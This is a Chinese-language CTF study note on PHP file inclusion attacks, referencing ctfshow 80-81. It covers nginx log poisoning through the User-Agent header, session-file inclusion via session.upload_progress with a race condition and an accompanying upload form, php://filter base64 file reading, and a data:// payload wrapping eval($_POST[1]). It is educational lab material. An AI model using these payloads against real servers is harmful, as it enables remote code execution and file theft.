文件包含的文件的内容会被当成当前脚本语言,与后缀无关
本地包含
源码中有:
php:include、require、include_once、require_once等
include在包含中出现错误会触发警告,然后代码继续往下运行
require在包含中出现错误会直接报错并退出程序运行
java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
有文件利用
无文件利用
包含日志文件
nginx 日志文件默认在
1
| /var/log/nginx/access.log
|
直接file协议包含
1
| file:///var/log/nginx/access.log
|
日志一般会记录ua头,所以可以把代码写在ua头,然后包含日志文件,就会显示执行结果
ctfshow 80-81
包含session文件
前提
可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
session文件一般的默认存储位置为/tmp 或/var/lib/php/session),例如
1 2
| /tmp/sess_123 /var/lib/php/session/sess_123
|
具体操作
让ai写个构造一个上传表单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| <!DOCTYPE html> <html lang="zh-TW"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>动态文件上传</title> <script src="https://cdn.tailwindcss.com"></script> <style> body { display: flex; justify-content: center; align-items: center; min-height: 100vh; background-color: #f3f4f6; font-family: 'Inter', sans-serif; } .container { background-color: white; padding: 2rem; border-radius: 0.5rem; box-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.1), 0 2px 4px -2px rgb(0 0 0 / 0.1); width: 100%; max-width: 28rem; } label { display: block; margin-bottom: 0.5rem; font-weight: 500; color: #374151; } input[type="text"], input[type="file"] { width: 100%; padding: 0.5rem 0.75rem; border: 1px solid #d1d5db; border-radius: 0.375rem; margin-bottom: 1rem; box-sizing: border-box; } input[type="submit"] { width: 100%; padding: 0.75rem; background-color: #3b82f6; color: white; font-weight: 600; border: none; border-radius: 0.375rem; cursor: pointer; transition: background-color 0.2s; } input[type="submit"]:hover { background-color: #2563eb; } .error-message { color: #ef4444; font-size: 0.875rem; margin-top: -0.5rem; margin-bottom: 1rem; display: none; } </style> </head> <body> <div class="container"> <h1 class="text-xl font-semibold mb-6 text-center text-gray-800">文件上传</h1> <?php // session_start(); // 这行 PHP 代码需要服务器端 PHP 环境才能生效 ?> <form id="uploadForm" method="POST" enctype="multipart/form-data" onsubmit="prepareUpload(event)"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="hack" /> <div> <label for="uploadUrl">上传目标 URL:</label> <input type="text" id="uploadUrl" name="uploadUrl" placeholder="例如:http://example.com/upload" required class="border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline mb-1"> <p id="urlError" class="error-message">请输入有效的 URL。</p> </div> <div> <label for="fileInput">选择文件:</label> <input type="file" id="fileInput" name="file" required class="border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline"> </div> <input type="submit" value="上传文件" class="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded focus:outline-none focus:shadow-outline w-full"> </form> </div> <script> const form = document.getElementById('uploadForm'); const urlInput = document.getElementById('uploadUrl'); const urlError = document.getElementById('urlError'); function prepareUpload(event) { const urlValue = urlInput.value.trim(); if (urlValue && (urlValue.startsWith('http://') || urlValue.startsWith('https://'))) { urlError.style.display = 'none'; form.action = urlValue; form.submit(); } else { urlError.style.display = 'block'; return false; } } </script> </body> </html>
|
然后输入url,然后上传文件抓包,然后PHP_SESSION_UPLOAD_PROGRESS这里的值显示为hack

将这个值改为木马
然后再增加一个cookie,这与session文件名有关

然后发包,再放到爆破模块
然后再靶场那包含session文件

没结果是正常的,因为临时文件夹是定时删除,所以才要竞争
然后这个包也发到爆破模块,然后就是竞争了,先上传在访问,差不多一千次就有结果了

通过包含session文件的响应得到文件名,然后再执行读文件命令就行了,相当于再重复一遍过程
伪协议
文件读取
只需知道相对路径
1
| php://filter/read=convert.base64-encode/resource=
|
要知道完整路径
代码执行
1
| data://text/plain,<?=eval($_POST[1]);?>
|
1
| data://text/plain;base64,
|
远程包含
需要在php.ini中开启allow_url_include